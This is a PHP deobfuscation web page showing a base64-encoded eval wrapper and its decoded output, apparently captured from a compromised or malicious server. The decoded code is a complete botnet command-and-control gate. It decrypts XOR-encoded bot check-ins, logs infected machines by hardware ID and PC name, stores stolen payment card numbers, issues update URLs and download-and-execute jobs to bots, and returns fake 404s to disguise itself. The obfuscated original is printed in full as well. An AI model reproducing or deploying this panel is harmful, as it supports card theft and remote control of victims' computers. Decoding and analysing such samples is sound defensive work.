Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCglyZXF1aXJlX29uY2UoJ2NvbmZpZy5waHAnKTsNCgkJDQoJZGV..

Decoded Output download

?>b'<?php
	require_once(\'config.php\');
		
	define(\'HEADER_SIZE\', 76);
	define(\'SIG_SIZE\', 72);
	$outkey = \'\';
	
	function cxor($data, $offset, $length, $key, $klen)
	{
		$ret = "";
		for ($i = 0; $i < $length; $i++)
			$ret .= chr(ord($data[$offset + $i]) ^ ord($key[$i % $klen]));
		return $ret;
	}
	
	function match_sig($data, $rsig)
	{
		$sig = "x34xdex12xab";
		for ($i = 0; $i < SIG_SIZE; $i++) {
			$c = ord($data[$i]);
			$current = ord($sig[$c % 4]);
			$sig[$c % 4] = chr($current + $c + ($c % 27));
		}
		
		for ($i = 0; $i < 4; $i++)
			if (ord($sig[$i]) !== ord($rsig[$i]))
				return(false);
				
		return(true);
	}
	
	function parse_input()
	{
		global $outkey;
		ob_start();
		
		$data = file_get_contents("php://input");
		if (strlen($data) < HEADER_SIZE)
			return false;
			
		$key = \'\';
		for ($i = 0; $i < 18; $i++)
			$key .= $data[18 + $i];
		
		$data = cxor($data, 0, strlen($data), "xaa", 1);
		
		for ($i = 0; $i < 18; $i++)
			$outkey .= $data[18 + $i];
		$header = unpack("Sv/a16sv/a8hwid/C2n/a8act/a32pcn/Lsize/C4s", $data);

		if ($header === false)
			return(false);
		
		if (!match_sig($data, chr($header[\'s1\']) . chr($header[\'s2\']) . chr($header[\'s3\']) . chr($header[\'s4\'])))
			return(false);
			
		$length = $header[\'size\'] - 123;
		if ($length + HEADER_SIZE !== strlen($data))
			return(false);
		
		$ret = array(\'nversion\' => $header[\'v\'],
			\'version\' => $header[\'sv\'],
			\'hwid\' => $header[\'hwid\'],
			\'action\' => $header[\'act\'],
			\'pcname\' => $header[\'pcn\']);
			
		if ($length) {
			$body = cxor($data, HEADER_SIZE, $length, $key, 18);
			$params = explode("&", $body);

			if (!empty($params))
				foreach ($params as $p) {
					if (!strlen($p))
						continue;
						
					$v = explode("=", $p);
					if (empty($v))
						continue;
						
					if (isset($ret[$v[0]])) {
						if (!is_array($ret[$v[0]]))
							$ret[$v[0]] = array($ret[$v[0]]);
						array_push($ret[$v[0]], urldecode($v[1]));
					} else
						$ret[$v[0]] = urldecode($v[1]);
				}
		}
		
		return($ret);
	}
	
	function putout()
	{
		global $outkey;
		
		$out = ob_get_contents();
		ob_end_clean();
		
		header(\'HTTP/1.1 \' . 666 . \' OK\');
		header(\'Status: \' . 666 . \' OK\');
		print cxor($out, 0, strlen($out), $outkey, 18);
	}
	
	$params = parse_input();

	if ($params === false || substr($_SERVER[\'HTTP_USER_AGENT\'], 0, 7) !== \'Mozilla\') {
		header(\'Status: 404 Not Found\');
		header(\'HTTP/1.1 404 Not Found\');
		exit();
	}
	
	$ip = $_SERVER[\'REMOTE_ADDR\'];
	$hwid = mysql_real_escape_string(@$params[\'hwid\']);
	$pcn = mysql_real_escape_string(@$params[\'pcname\']);
	$version = mysql_real_escape_string(@$params[\'version\']);
	
	$date = time();
	$ua = mysql_real_escape_string($_SERVER[\'HTTP_USER_AGENT\']);
		
	if (@$params[\'action\'] === \'update\') {
		$row = mysql_fetch_assoc(mysql_query("SELECT url FROM version WHERE ver=\'$version\'"));
		if ($row !== false && strlen($row[url]) > 7)
			$update = "update=$row[url]|";
		else
			$update = \'\';
			
		$ui = $GLOBALS[\'updateinterval\'];
		$ci = $GLOBALS[\'cardinterval\'];
		print "updateinterval=$ui,$update,cardinterval=$ci";
	} 
	if (@$params[\'action\'] === \'diag\' || (@$params[\'action\'] === \'update\' && !empty($params[\'diag\']))) {
		$log = mysql_real_escape_string($params[\'diag\']);
		$sql = "INSERT INTO logs(ip, hwid, date, data, ua, pcn) VALUES (\'$ip\', \'$hwid\', \'$date\', \'$log\', \'$ua\', \'$pcn\')";
		mysql_query($sql);
	} else if (@$params[\'action\'] === \'cards\') {
		if (count($params[\'card\'])) {
			$sql = "INSERT INTO cards(ip, hwid, date, card, ua, pcn) VALUES";
			
			if (is_array($params[\'card\']))
				foreach ($params[\'card\'] as $card) {
					if (empty($card))
						continue;
						
					$card = mysql_real_escape_string($card);
					$sql .= "(\'$ip\', \'$hwid\', $date, \'$card\', \'$ua\', \'$pcn\'),";
				}
			else {
				$card = mysql_real_escape_string($params[\'card\']);
				$sql .= "(\'$ip\', \'$hwid\', $date, \'$card\', \'$ua\', \'$pcn\'),";
			}
			
			$sql = substr($sql, 0, strlen($sql) - 1);
			mysql_query($sql);
		}
	}
	
	$r = mysql_query("SELECT id FROM bots WHERE hwid=\'$hwid\' AND pcn=\'$pcn\' LIMIT 1");
	if (!mysql_num_rows($r)) {
		mysql_query("INSERT INTO bots(lastip, hwid, pcn, version, seen) VALUES(\'$ip\', \'$hwid\', \'$pcn\', \'$version\', \'$date\')");
		$bid = mysql_insert_id();
	} else {
		mysql_query("UPDATE bots SET lastip=\'$ip\', version=\'$version\', seen=\'$date\' WHERE hwid=\'$hwid\' AND pcn=\'$pcn\' LIMIT 1");		
		$bid = (int)mysql_fetch_array($r);
	}
	
	$r = mysql_query("SELECT id, url FROM dl");
	if (mysql_num_rows($r)) {
		$a = mysql_fetch_array($r);
		$jid = $a[0];
		$url = $a[1];
		
		if (!mysql_num_rows(mysql_query("SELECT id FROM jobs WHERE jobid=\'$jid\' AND botid=\'$bid\'"))) {
			mysql_query("INSERT INTO jobs(jobid, botid) VALUES($jid, $bid)");
			print ",dlex=$url|";
		}
	}
	
	
	header(\'HTTP/1.1 \' . $GLOBALS[\'successcode\'] . \' OK\');
	header(\'Status: \' . $GLOBALS[\'successcode\'] . \' OK\');
	
	putout();
?>
'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCglyZXF1aXJlX29uY2UoJ2NvbmZpZy5waHAnKTsNCgkJDQoJZGVmaW5lKCdIRUFERVJfU0laRScsIDc2KTsNCglkZWZpbmUoJ1NJR19TSVpFJywgNzIpOw0KCSRvdXRrZXkgPSAnJzsNCgkNCglmdW5jdGlvbiBjeG9yKCRkYXRhLCAkb2Zmc2V0LCAkbGVuZ3RoLCAka2V5LCAka2xlbikNCgl7DQoJCSRyZXQgPSAiIjsNCgkJZm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykNCgkJCSRyZXQgLj0gY2hyKG9yZCgkZGF0YVskb2Zmc2V0ICsgJGldKSBeIG9yZCgka2V5WyRpICUgJGtsZW5dKSk7DQoJCXJldHVybiAkcmV0Ow0KCX0NCgkNCglmdW5jdGlvbiBtYXRjaF9zaWcoJGRhdGEsICRyc2lnKQ0KCXsNCgkJJHNpZyA9ICJ4MzR4ZGV4MTJ4YWIiOw0KCQlmb3IgKCRpID0gMDsgJGkgPCBTSUdfU0laRTsgJGkrKykgew0KCQkJJGMgPSBvcmQoJGRhdGFbJGldKTsNCgkJCSRjdXJyZW50ID0gb3JkKCRzaWdbJGMgJSA0XSk7DQoJCQkkc2lnWyRjICUgNF0gPSBjaHIoJGN1cnJlbnQgKyAkYyArICgkYyAlIDI3KSk7DQoJCX0NCgkJDQoJCWZvciAoJGkgPSAwOyAkaSA8IDQ7ICRpKyspDQoJCQlpZiAob3JkKCRzaWdbJGldKSAhPT0gb3JkKCRyc2lnWyRpXSkpDQoJCQkJcmV0dXJuKGZhbHNlKTsNCgkJCQkNCgkJcmV0dXJuKHRydWUpOw0KCX0NCgkNCglmdW5jdGlvbiBwYXJzZV9pbnB1dCgpDQoJew0KCQlnbG9iYWwgJG91dGtleTsNCgkJb2Jfc3RhcnQoKTsNCgkJDQoJCSRkYXRhID0gZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7DQoJCWlmIChzdHJsZW4oJGRhdGEpIDwgSEVBREVSX1NJWkUpDQoJCQlyZXR1cm4gZmFsc2U7DQoJCQkNCgkJJGtleSA9ICcnOw0KCQlmb3IgKCRpID0gMDsgJGkgPCAxODsgJGkrKykNCgkJCSRrZXkgLj0gJGRhdGFbMTggKyAkaV07DQoJCQ0KCQkkZGF0YSA9IGN4b3IoJGRhdGEsIDAsIHN0cmxlbigkZGF0YSksICJ4YWEiLCAxKTsNCgkJDQoJCWZvciAoJGkgPSAwOyAkaSA8IDE4OyAkaSsrKQ0KCQkJJG91dGtleSAuPSAkZGF0YVsxOCArICRpXTsNCgkJJGhlYWRlciA9IHVucGFjaygiU3YvYTE2c3YvYThod2lkL0Mybi9hOGFjdC9hMzJwY24vTHNpemUvQzRzIiwgJGRhdGEpOw0KDQoJCWlmICgkaGVhZGVyID09PSBmYWxzZSkNCgkJCXJldHVybihmYWxzZSk7DQoJCQ0KCQlpZiAoIW1hdGNoX3NpZygkZGF0YSwgY2hyKCRoZWFkZXJbJ3MxJ10pIC4gY2hyKCRoZWFkZXJbJ3MyJ10pIC4gY2hyKCRoZWFkZXJbJ3MzJ10pIC4gY2hyKCRoZWFkZXJbJ3M0J10pKSkNCgkJCXJldHVybihmYWxzZSk7DQoJCQkNCgkJJGxlbmd0aCA9ICRoZWFkZXJbJ3NpemUnXSAtIDEyMzsNCgkJaWYgKCRsZW5ndGggKyBIRUFERVJfU0laRSAhPT0gc3RybGVuKCRkYXRhKSkNCgkJCXJldHVybihmYWxzZSk7DQoJCQ0KCQkkcmV0ID0gYXJyYXkoJ252ZXJzaW9uJyA9PiAkaGVhZGVyWyd2J10sDQoJCQkndmVyc2lvbicgPT4gJGhlYWRlclsnc3YnXSwNCgkJCSdod2lkJyA9PiAkaGVhZGVyWydod2lkJ10sDQoJCQknYWN0aW9uJyA9PiAkaGVhZGVyWydhY3QnXSwNCgkJCSdwY25hbWUnID0+ICRoZWFkZXJbJ3BjbiddKTsNCgkJCQ0KCQlpZiAoJGxlbmd0aCkgew0KCQkJJGJvZHkgPSBjeG9yKCRkYXRhLCBIRUFERVJfU0laRSwgJGxlbmd0aCwgJGtleSwgMTgpOw0KCQkJJHBhcmFtcyA9IGV4cGxvZGUoIiYiLCAkYm9keSk7DQoNCgkJCWlmICghZW1wdHkoJHBhcmFtcykpDQoJCQkJZm9yZWFjaCAoJHBhcmFtcyBhcyAkcCkgew0KCQkJCQlpZiAoIXN0cmxlbigkcCkpDQoJCQkJCQljb250aW51ZTsNCgkJCQkJCQ0KCQkJCQkkdiA9IGV4cGxvZGUoIj0iLCAkcCk7DQoJCQkJCWlmIChlbXB0eSgkdikpDQoJCQkJCQljb250aW51ZTsNCgkJCQkJCQ0KCQkJCQlpZiAoaXNzZXQoJHJldFskdlswXV0pKSB7DQoJCQkJCQlpZiAoIWlzX2FycmF5KCRyZXRbJHZbMF1dKSkNCgkJCQkJCQkkcmV0WyR2WzBdXSA9IGFycmF5KCRyZXRbJHZbMF1dKTsNCgkJCQkJCWFycmF5X3B1c2goJHJldFskdlswXV0sIHVybGRlY29kZSgkdlsxXSkpOw0KCQkJCQl9IGVsc2UNCgkJCQkJCSRyZXRbJHZbMF1dID0gdXJsZGVjb2RlKCR2WzFdKTsNCgkJCQl9DQoJCX0NCgkJDQoJCXJldHVybigkcmV0KTsNCgl9DQoJDQoJZnVuY3Rpb24gcHV0b3V0KCkNCgl7DQoJCWdsb2JhbCAkb3V0a2V5Ow0KCQkNCgkJJG91dCA9IG9iX2dldF9jb250ZW50cygpOw0KCQlvYl9lbmRfY2xlYW4oKTsNCgkJDQoJCWhlYWRlcignSFRUUC8xLjEgJyAuIDY2NiAuICcgT0snKTsNCgkJaGVhZGVyKCdTdGF0dXM6ICcgLiA2NjYgLiAnIE9LJyk7DQoJCXByaW50IGN4b3IoJG91dCwgMCwgc3RybGVuKCRvdXQpLCAkb3V0a2V5LCAxOCk7DQoJfQ0KCQ0KCSRwYXJhbXMgPSBwYXJzZV9pbnB1dCgpOw0KDQoJaWYgKCRwYXJhbXMgPT09IGZhbHNlIHx8IHN1YnN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sIDAsIDcpICE9PSAnTW96aWxsYScpIHsNCgkJaGVhZGVyKCdTdGF0dXM6IDQwNCBOb3QgRm91bmQnKTsNCgkJaGVhZGVyKCdIVFRQLzEuMSA0MDQgTm90IEZvdW5kJyk7DQoJCWV4aXQoKTsNCgl9DQoJDQoJJGlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQoJJGh3aWQgPSBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoQCRwYXJhbXNbJ2h3aWQnXSk7DQoJJHBjbiA9IG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZyhAJHBhcmFtc1sncGNuYW1lJ10pOw0KCSR2ZXJzaW9uID0gbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKEAkcGFyYW1zWyd2ZXJzaW9uJ10pOw0KCQ0KCSRkYXRlID0gdGltZSgpOw0KCSR1YSA9IG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pOw0KCQkNCglpZiAoQCRwYXJhbXNbJ2FjdGlvbiddID09PSAndXBkYXRlJykgew0KCQkkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MobXlzcWxfcXVlcnkoIlNFTEVDVCB1cmwgRlJPTSB2ZXJzaW9uIFdIRVJFIHZlcj0nJHZlcnNpb24nIikpOw0KCQlpZiAoJHJvdyAhPT0gZmFsc2UgJiYgc3RybGVuKCRyb3dbdXJsXSkgPiA3KQ0KCQkJJHVwZGF0ZSA9ICJ1cGRhdGU9JHJvd1t1cmxdfCI7DQoJCWVsc2UNCgkJCSR1cGRhdGUgPSAnJzsNCgkJCQ0KCQkkdWkgPSAkR0xPQkFMU1sndXBkYXRlaW50ZXJ2YWwnXTsNCgkJJGNpID0gJEdMT0JBTFNbJ2NhcmRpbnRlcnZhbCddOw0KCQlwcmludCAidXBkYXRlaW50ZXJ2YWw9JHVpLCR1cGRhdGUsY2FyZGludGVydmFsPSRjaSI7DQoJfSANCglpZiAoQCRwYXJhbXNbJ2FjdGlvbiddID09PSAnZGlhZycgfHwgKEAkcGFyYW1zWydhY3Rpb24nXSA9PT0gJ3VwZGF0ZScgJiYgIWVtcHR5KCRwYXJhbXNbJ2RpYWcnXSkpKSB7DQoJCSRsb2cgPSBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHBhcmFtc1snZGlhZyddKTsNCgkJJHNxbCA9ICJJTlNFUlQgSU5UTyBsb2dzKGlwLCBod2lkLCBkYXRlLCBkYXRhLCB1YSwgcGNuKSBWQUxVRVMgKCckaXAnLCAnJGh3aWQnLCAnJGRhdGUnLCAnJGxvZycsICckdWEnLCAnJHBjbicpIjsNCgkJbXlzcWxfcXVlcnkoJHNxbCk7DQoJfSBlbHNlIGlmIChAJHBhcmFtc1snYWN0aW9uJ10gPT09ICdjYXJkcycpIHsNCgkJaWYgKGNvdW50KCRwYXJhbXNbJ2NhcmQnXSkpIHsNCgkJCSRzcWwgPSAiSU5TRVJUIElOVE8gY2FyZHMoaXAsIGh3aWQsIGRhdGUsIGNhcmQsIHVhLCBwY24pIFZBTFVFUyI7DQoJCQkNCgkJCWlmIChpc19hcnJheSgkcGFyYW1zWydjYXJkJ10pKQ0KCQkJCWZvcmVhY2ggKCRwYXJhbXNbJ2NhcmQnXSBhcyAkY2FyZCkgew0KCQkJCQlpZiAoZW1wdHkoJGNhcmQpKQ0KCQkJCQkJY29udGludWU7DQoJCQkJCQkNCgkJCQkJJGNhcmQgPSBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJGNhcmQpOw0KCQkJCQkkc3FsIC49ICIoJyRpcCcsICckaHdpZCcsICRkYXRlLCAnJGNhcmQnLCAnJHVhJywgJyRwY24nKSwiOw0KCQkJCX0NCgkJCWVsc2Ugew0KCQkJCSRjYXJkID0gbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCRwYXJhbXNbJ2NhcmQnXSk7DQoJCQkJJHNxbCAuPSAiKCckaXAnLCAnJGh3aWQnLCAkZGF0ZSwgJyRjYXJkJywgJyR1YScsICckcGNuJyksIjsNCgkJCX0NCgkJCQ0KCQkJJHNxbCA9IHN1YnN0cigkc3FsLCAwLCBzdHJsZW4oJHNxbCkgLSAxKTsNCgkJCW15c3FsX3F1ZXJ5KCRzcWwpOw0KCQl9DQoJfQ0KCQ0KCSRyID0gbXlzcWxfcXVlcnkoIlNFTEVDVCBpZCBGUk9NIGJvdHMgV0hFUkUgaHdpZD0nJGh3aWQnIEFORCBwY249JyRwY24nIExJTUlUIDEiKTsNCglpZiAoIW15c3FsX251bV9yb3dzKCRyKSkgew0KCQlteXNxbF9xdWVyeSgiSU5TRVJUIElOVE8gYm90cyhsYXN0aXAsIGh3aWQsIHBjbiwgdmVyc2lvbiwgc2VlbikgVkFMVUVTKCckaXAnLCAnJGh3aWQnLCAnJHBjbicsICckdmVyc2lvbicsICckZGF0ZScpIik7DQoJCSRiaWQgPSBteXNxbF9pbnNlcnRfaWQoKTsNCgl9IGVsc2Ugew0KCQlteXNxbF9xdWVyeSgiVVBEQVRFIGJvdHMgU0VUIGxhc3RpcD0nJGlwJywgdmVyc2lvbj0nJHZlcnNpb24nLCBzZWVuPSckZGF0ZScgV0hFUkUgaHdpZD0nJGh3aWQnIEFORCBwY249JyRwY24nIExJTUlUIDEiKTsJCQ0KCQkkYmlkID0gKGludClteXNxbF9mZXRjaF9hcnJheSgkcik7DQoJfQ0KCQ0KCSRyID0gbXlzcWxfcXVlcnkoIlNFTEVDVCBpZCwgdXJsIEZST00gZGwiKTsNCglpZiAobXlzcWxfbnVtX3Jvd3MoJHIpKSB7DQoJCSRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHIpOw0KCQkkamlkID0gJGFbMF07DQoJCSR1cmwgPSAkYVsxXTsNCgkJDQoJCWlmICghbXlzcWxfbnVtX3Jvd3MobXlzcWxfcXVlcnkoIlNFTEVDVCBpZCBGUk9NIGpvYnMgV0hFUkUgam9iaWQ9JyRqaWQnIEFORCBib3RpZD0nJGJpZCciKSkpIHsNCgkJCW15c3FsX3F1ZXJ5KCJJTlNFUlQgSU5UTyBqb2JzKGpvYmlkLCBib3RpZCkgVkFMVUVTKCRqaWQsICRiaWQpIik7DQoJCQlwcmludCAiLGRsZXg9JHVybHwiOw0KCQl9DQoJfQ0KCQ0KCQ0KCWhlYWRlcignSFRUUC8xLjEgJyAuICRHTE9CQUxTWydzdWNjZXNzY29kZSddIC4gJyBPSycpOw0KCWhlYWRlcignU3RhdHVzOiAnIC4gJEdMT0JBTFNbJ3N1Y2Nlc3Njb2RlJ10gLiAnIE9LJyk7DQoJDQoJcHV0b3V0KCk7DQo/Pg0K")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 1eb6ac253ee3cba38ae27237d7d93e41
Eval Count 1
Decode Time 85 ms